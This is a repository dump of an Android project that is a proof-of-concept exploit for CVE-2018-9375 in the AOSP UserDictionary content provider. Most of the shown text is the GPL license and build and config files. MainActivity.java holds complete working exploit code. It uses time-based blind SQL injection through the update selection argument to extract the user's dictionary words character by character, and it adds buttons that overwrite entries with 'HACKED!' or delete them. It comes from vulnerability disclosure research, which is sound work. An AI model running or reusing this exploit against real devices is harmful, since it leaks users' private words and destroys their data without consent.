├── .gitignore ├── .idea ├── misc.xml ├── modules.xml └── runConfigurations.xml ├── LICENSE ├── README.md ├── app ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ └── main │ ├── AndroidManifest.xml │ ├── java │ └── com │ │ └── ioactive │ │ └── MainActivity.java │ └── res │ ├── drawable-v24 │ └── ic_launcher_foreground.xml │ ├── drawable │ ├── ic_launcher_background.xml │ └── ioa_logo.png │ ├── layout │ └── activity_main.xml │ ├── mipmap-anydpi-v26 │ ├── ic_launcher.xml │ └── ic_launcher_round.xml │ ├── mipmap-hdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ ├── mipmap-mdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ ├── mipmap-xhdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ ├── mipmap-xxhdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ ├── mipmap-xxxhdpi │ ├── ic_launcher.png │ └── ic_launcher_round.png │ └── values │ ├── colors.xml │ ├── strings.xml │ └── styles.xml ├── build.gradle ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat └── settings.gradle /.gitignore: -------------------------------------------------------------------------------- 1 | # Built application files 2 | *.apk 3 | *.ap_ 4 | 5 | # Files for the ART/Dalvik VM 6 | *.dex 7 | 8 | # Java class files 9 | *.class 10 | 11 | # Generated files 12 | bin/ 13 | gen/ 14 | out/ 15 | 16 | # Gradle files 17 | .gradle/ 18 | build/ 19 | 20 | # Local configuration file (sdk path, etc) 21 | local.properties 22 | 23 | # Proguard folder generated by Eclipse 24 | proguard/ 25 | 26 | # Log Files 27 | *.log 28 | 29 | # Android Studio Navigation editor temp files 30 | .navigation/ 31 | 32 | # Android Studio captures folder 33 | captures/ 34 | 35 | # IntelliJ 36 | *.iml 37 | .idea/workspace.xml 38 | .idea/tasks.xml 39 | .idea/gradle.xml 40 | .idea/assetWizardSettings.xml 41 | .idea/dictionaries 42 | .idea/libraries 43 | .idea/caches 44 | 45 | # Keystore files 46 | # Uncomment the following line if you do not want to check your keystore files in. 47 | #*.jks 48 | 49 | # External native build folder generated in Android Studio 2.2 and later 50 | .externalNativeBuild 51 | 52 | # Google Services (e.g. APIs or Firebase) 53 | google-services.json 54 | 55 | # Freeline 56 | freeline.py 57 | freeline/ 58 | freeline_project_description.json 59 | 60 | # fastlane 61 | fastlane/report.xml 62 | fastlane/Preview.html 63 | fastlane/screenshots 64 | fastlane/test_output 65 | fastlane/readme.md 66 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 16 | 26 | 27 | 28 | 29 | 30 | 31 | 33 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/runConfigurations.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 11 | 12 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AOSP-ExploitUserDictionary 2 | PoC Exploit for AOSP UserDictionary Content Provider (CVE-2018-9375) 3 | 4 | ## Security Advisory 5 | https://ioactive.com/wp-content/uploads/2018/08/IOActive-Security-Advisory-AOSP-UserDictionaryProvider-v1.0.pdf 6 | 7 | ## More Information 8 | https://ioactive.com/discovering-and-exploiting-a-vulnerability-in-androids-personal-dictionary/ -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | android { 4 | compileSdkVersion 26 5 | defaultConfig { 6 | applicationId "com.ioactive.exploituserdictionary" 7 | minSdkVersion 23 8 | targetSdkVersion 26 9 | versionCode 1 10 | versionName "1.0" 11 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" 12 | } 13 | buildTypes { 14 | release { 15 | minifyEnabled false 16 | proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 17 | } 18 | } 19 | } 20 | 21 | dependencies { 22 | implementation fileTree(dir: 'libs', include: ['*.jar']) 23 | implementation 'com.android.support.constraint:constraint-layout:1.0.2' 24 | testImplementation 'junit:junit:4.12' 25 | androidTestImplementation 'com.android.support.test:runner:1.0.1' 26 | androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.1' 27 | } 28 | -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile 22 | -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /app/src/main/java/com/ioactive/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.ioactive.exploituserdictionary; 2 | 3 | import android.app.Activity; 4 | import android.app.AlertDialog; 5 | import android.content.ContentResolver; 6 | import android.content.ContentValues; 7 | import android.content.DialogInterface; 8 | import android.database.Cursor; 9 | import android.os.Bundle; 10 | import android.os.PowerManager; 11 | import android.provider.UserDictionary; 12 | import android.text.method.ScrollingMovementMethod; 13 | import android.util.Log; 14 | import android.view.View; 15 | import android.view.WindowManager; 16 | import android.widget.EditText; 17 | import android.widget.TextView; 18 | 19 | import java.text.DateFormat; 20 | import java.text.SimpleDateFormat; 21 | import java.util.Date; 22 | 23 | public class MainActivity extends Activity { 24 | 25 | private static final double MIN_ACCURACY = 0.92; 26 | private static final int MIN_ITERATIONS = 10; 27 | private static final int MIN_THRESHOLD = 200; 28 | private static final int MAX_WORDS = 5; 29 | private static final int THREAD_PRIORITY = -20; 30 | 31 | private static final String TAG = "ExploitUserDictionary"; 32 | 33 | private int mIterations = MIN_ITERATIONS; 34 | private int mTimeThreshold = MIN_THRESHOLD; 35 | 36 | private TextView mTextViewLog; 37 | 38 | @Override 39 | protected void onCreate(Bundle savedInstanceState) { 40 | super.onCreate(savedInstanceState); 41 | setContentView(R.layout.activity_main); 42 | 43 | mTextViewLog = findViewById(R.id.textViewLog); 44 | mTextViewLog.setMovementMethod(new ScrollingMovementMethod()); 45 | 46 | TextView textViewWords = findViewById(R.id.textViewWords); 47 | textViewWords.setMovementMethod(new ScrollingMovementMethod()); 48 | 49 | stayAwake(); 50 | 51 | attemptDirectQuery(); 52 | } 53 | 54 | public void buttonStart_Click(View view) { 55 | findViewById(R.id.buttonStart).setEnabled(false); 56 | 57 | EditText editNumIterations = findViewById(R.id.editNumIterations); 58 | editNumIterations.setEnabled(false); 59 | mIterations = Integer.parseInt(editNumIterations.getText().toString()); 60 | 61 | EditText editThreshold = findViewById(R.id.editThreshold); 62 | editThreshold.setEnabled(false); 63 | mTimeThreshold = Integer.parseInt(editThreshold.getText().toString()); 64 | 65 | new Thread(new Runnable() { 66 | public void run() { 67 | android.os.Process.setThreadPriority(THREAD_PRIORITY); 68 | 69 | try { 70 | adjustIterations(); 71 | retrieveUserDictionaryData(); 72 | } catch (Exception ex) { 73 | Log.e(TAG, "Error", ex); 74 | log("COULD NOT RETRIEVE ANY DATA. Is the dictionary empty?"); 75 | } 76 | } 77 | }).start(); 78 | } 79 | 80 | private int timeToExecute(int rowId, String sqlCondition) { 81 | ContentValues values = new ContentValues(); 82 | String conditionId = ""; 83 | 84 | if (rowId > 0) { 85 | conditionId = "_id=" + rowId; 86 | values.put(UserDictionary.Words._ID, rowId); 87 | } else { 88 | conditionId = "_id=(SELECT MIN(_id) FROM words)"; 89 | values.put(UserDictionary.Words.FREQUENCY, 250); 90 | } 91 | 92 | String condition = conditionId + " AND (" + sqlCondition + ")"; 93 | ContentResolver cr = getContentResolver(); 94 | 95 | long time = 0; 96 | for (int i = 0; i < mIterations; i++) { 97 | long tStart = System.nanoTime(); 98 | cr.update(UserDictionary.Words.CONTENT_URI, values, condition, null); 99 | long tEnd = System.nanoTime(); 100 | time += tEnd - tStart; 101 | } 102 | 103 | return (int) (time / 1000000); 104 | } 105 | 106 | private boolean isTrueCondition(int rowId, String sqlCondition) { 107 | int time = timeToExecute(rowId, sqlCondition); 108 | boolean isTrue = (time > mTimeThreshold); 109 | 110 | log(" Id: " + rowId + " " + sqlCondition + " --> " + (isTrue ? "T" : "F") + " (" + time + "ms)"); 111 | return isTrue; 112 | } 113 | 114 | private boolean isTrueCondition(String sqlCondition) { 115 | return isTrueCondition(-1, sqlCondition); 116 | } 117 | 118 | private double testAccuracy(int iterations) { 119 | log("Testing current accuracy..."); 120 | int guesses = 0; 121 | for (int i = 0; i < iterations; i++) { 122 | int v = i % 2; 123 | if (isTrueCondition(v + "=1") == (v == 1)) 124 | guesses += 1; 125 | } 126 | 127 | log("Accuracy: " + (100 * guesses / iterations) + "%"); 128 | return (double) guesses / iterations; 129 | } 130 | 131 | private void retrieveUserDictionaryData() { 132 | log("Retrieving number of words..."); 133 | int count = binarySearch(-1, "(SELECT COUNT(*) FROM words)"); 134 | log("Number of words found in user's dictionary: " + count); 135 | if (count < 0 || count > MAX_WORDS) { 136 | count = MAX_WORDS; 137 | log("Limiting extraction to the first " + MAX_WORDS + " words only."); 138 | } 139 | 140 | int rowId = -1; 141 | for (int i = 0; i < count; i++) { 142 | log("Retrieving next internal row identifier..."); 143 | rowId = binarySearch(-1, "(SELECT MIN(_id) FROM words WHERE _id > " + rowId + ")"); 144 | 145 | log("Finding string length for word " + rowId + " ..."); 146 | int len = binarySearch(rowId, "length(word)"); 147 | log("String length for word " + rowId + ": " + len); 148 | 149 | StringBuilder sb = new StringBuilder(); 150 | for (int j = 1; j <= len; j++) { 151 | int c = binarySearch(rowId, "unicode(substr(word," + j + ",1))"); 152 | String newChar = Character.toString((char) c); 153 | appendToWordsFound(newChar); 154 | sb.append(newChar); 155 | log("Word " + rowId + " char #" + j + " retrieved: " + newChar + " (ASCII: " + c + ")"); 156 | } 157 | log("WORD " + rowId + " RETRIEVED: " + sb.toString()); 158 | appendToWordsFound(" "); 159 | } 160 | 161 | log("** FINISHED **"); 162 | } 163 | 164 | public int binarySearch(int id, String sqlExpression) { 165 | for (int retries = 0; retries < 5; retries++) { 166 | int min = 0; 167 | int max = 255; 168 | int mid = 0; 169 | 170 | while (min + 1 < max) { 171 | mid = (int) Math.floor((double) (max + min) / 2); 172 | 173 | if (isTrueCondition(id, sqlExpression + ">" + mid)) 174 | min = mid; 175 | else 176 | max = mid; 177 | } 178 | 179 | if ((mid == max) && isTrueCondition(id, sqlExpression + "=" + mid)) 180 | return mid; 181 | else if (isTrueCondition(id, sqlExpression + "=" + (mid + 1))) // Extra check 182 | return mid + 1; 183 | 184 | log(" Inaccurate value. Retrying..."); 185 | } 186 | log(" VALUE NOT FOUND!"); 187 | return -1; 188 | } 189 | 190 | private int estimateTimeThreshold() { 191 | int n = 10; 192 | int avgTime = 0; 193 | 194 | for (int i = 0; i < n; i++) { 195 | avgTime += timeToExecute(-1, "1=1"); 196 | avgTime += timeToExecute(-1, "1=0"); 197 | } 198 | avgTime /= (2 * n); 199 | 200 | log(" Number of iterations: " + mIterations + " Average time: " + avgTime); 201 | return avgTime; 202 | } 203 | 204 | private void adjustIterations() throws Exception { 205 | int minThreshold = Math.max(mTimeThreshold, MIN_THRESHOLD); 206 | 207 | log("Warming up. Ignoring first iterations..."); 208 | testAccuracy(5); 209 | 210 | for (int i = 0; i < 6; i++) { 211 | mIterations = Math.max(mIterations, MIN_ITERATIONS); 212 | log("Adjusting number of iterations. Testing with " + mIterations + "..."); 213 | mTimeThreshold = estimateTimeThreshold(); 214 | log("Time threshold set to " + mTimeThreshold + "ms"); 215 | 216 | if (mTimeThreshold > minThreshold && testAccuracy(20) >= MIN_ACCURACY) 217 | return; 218 | 219 | mIterations = (mIterations * minThreshold) / mTimeThreshold; 220 | mIterations *= 1.25 + (i * 0.1); 221 | } 222 | 223 | throw new Exception("Minimum accuracy not satisfied."); 224 | } 225 | 226 | private synchronized void log(final String text) { 227 | Log.d(TAG, text); 228 | 229 | runOnUiThread(new Runnable() { 230 | @Override 231 | public void run() { 232 | mTextViewLog.append(text + "\n"); 233 | } 234 | }); 235 | } 236 | 237 | private synchronized void appendToWordsFound(final String text) { 238 | runOnUiThread(new Runnable() { 239 | @Override 240 | public void run() { 241 | TextView textViewWords = findViewById(R.id.textViewWords); 242 | textViewWords.append(text); 243 | } 244 | }); 245 | } 246 | 247 | private void attemptDirectQuery() { 248 | try { 249 | log("Attempting to query the UserDictionary content provider directly..."); 250 | Cursor c = getContentResolver().query(UserDictionary.Words.CONTENT_URI, null, null, null, null); 251 | int n = c.getCount(); 252 | 253 | if (n > 0) 254 | log("Application has direct read access to the content provider (" + n + 255 | "rows found). Running as root or in older versions?"); 256 | else 257 | log("As expected, there is no access to query the content provider."); 258 | } catch (Exception ex) { 259 | Log.i(TAG, "Error querying content provider", ex); 260 | } 261 | } 262 | 263 | private void stayAwake() { 264 | try { 265 | getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON); 266 | 267 | PowerManager powerManager = (PowerManager) getSystemService(POWER_SERVICE); 268 | PowerManager.WakeLock wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, 269 | "ExploitUserDictionaryWakelock"); 270 | 271 | wakeLock.setReferenceCounted(false); 272 | wakeLock.acquire(30 * 60 * 1000); 273 | } catch (Exception ex) { 274 | Log.w(TAG, "Error acquiring wake lock", ex); 275 | } 276 | } 277 | 278 | public void buttonUpdate_Click(View view) { 279 | DialogInterface.OnClickListener dialogClickListener = new DialogInterface.OnClickListener() { 280 | @Override 281 | public void onClick(DialogInterface dialog, int which) { 282 | if (which == DialogInterface.BUTTON_POSITIVE) { 283 | ContentValues values = new ContentValues(); 284 | DateFormat dateFormat = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); 285 | values.put(UserDictionary.Words.WORD, "123 - HACKED! " + dateFormat.format(new Date())); 286 | getContentResolver().update(UserDictionary.Words.CONTENT_URI, values, "word LIKE '123%'", null); 287 | } 288 | } 289 | }; 290 | 291 | AlertDialog.Builder builder = new AlertDialog.Builder(this); 292 | builder.setTitle("OVERWRITE ENTRIES?"); 293 | builder.setMessage("This action will overwrite all the dictionary custom entries starting with '123'. Are you sure?"); 294 | builder.setNegativeButton("No", null); 295 | builder.setPositiveButton("Yes", dialogClickListener); 296 | builder.show(); 297 | } 298 | 299 | public void buttonDelete_Click(View view) { 300 | DialogInterface.OnClickListener dialogClickListener = new DialogInterface.OnClickListener() { 301 | @Override 302 | public void onClick(DialogInterface dialog, int which) { 303 | if (which == DialogInterface.BUTTON_POSITIVE) { 304 | getContentResolver().delete(UserDictionary.Words.CONTENT_URI, "word LIKE '123%'", null); 305 | } 306 | } 307 | }; 308 | 309 | AlertDialog.Builder builder = new AlertDialog.Builder(this); 310 | builder.setTitle("DELETE ENTRIES?"); 311 | builder.setMessage("This action will delete all the dictionary custom entries starting with '123'. Are you sure?"); 312 | builder.setNegativeButton("No", null); 313 | builder.setPositiveButton("Yes", dialogClickListener); 314 | builder.show(); 315 | } 316 | 317 | } -------------------------------------------------------------------------------- /app/src/main/res/drawable-v24/ic_launcher_foreground.xml: -------------------------------------------------------------------------------- 1 | 7 | 12 | 13 | 19 | 22 | 25 | 26 | 27 | 28 | 34 | 35 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_launcher_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 10 | 15 | 20 | 25 | 30 | 35 | 40 | 45 | 50 | 55 | 60 | 65 | 70 | 75 | 80 | 85 | 90 | 95 | 100 | 105 | 110 | 115 | 120 | 125 | 130 | 135 | 140 | 145 | 150 | 155 | 160 | 165 | 170 | 171 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ioa_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IOActive/AOSP-ExploitUserDictionary/d393f84db35f14ed1fab80cb007b2a0b4cd01d95/app/src/main/res/drawable/ioa_logo.png -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 9 | 10 | 30 | 31 |